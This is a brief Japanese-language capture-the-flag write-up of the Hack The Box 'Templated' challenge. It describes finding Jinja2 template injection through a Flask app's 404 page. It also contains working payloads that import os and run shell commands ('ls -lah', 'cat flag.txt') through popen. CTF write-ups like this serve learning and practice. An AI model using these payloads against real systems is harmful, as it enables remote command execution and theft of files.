Open roaris opened 9 months ago
ソースコードは無い アクセスすると、これだけ表示される
Jinja2はFlaskのテンプレートエンジン SSTIをするにしても、ユーザ入力値が表示される箇所は無い
Local Storage, Session Storage, Indexed DB, Cookiesを確認したが何もない
適当なパスを指定すると、404のページ中にパス名が含まれている
/{{2*2}}
にアクセスすると、4と表示された
SSTI出来そうである
https://blog.hamayanhamayan.com/entry/2021/12/15/225142 に書かれている{{request.application.__globals__.__builtins__.__import__('os').popen('ls -lah').read()}}
を試すと、上手くいった
flag.txtがあることが分かったので、{{request.application.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read()}}
でフラグが取れる
https://app.hackthebox.com/challenges/Templated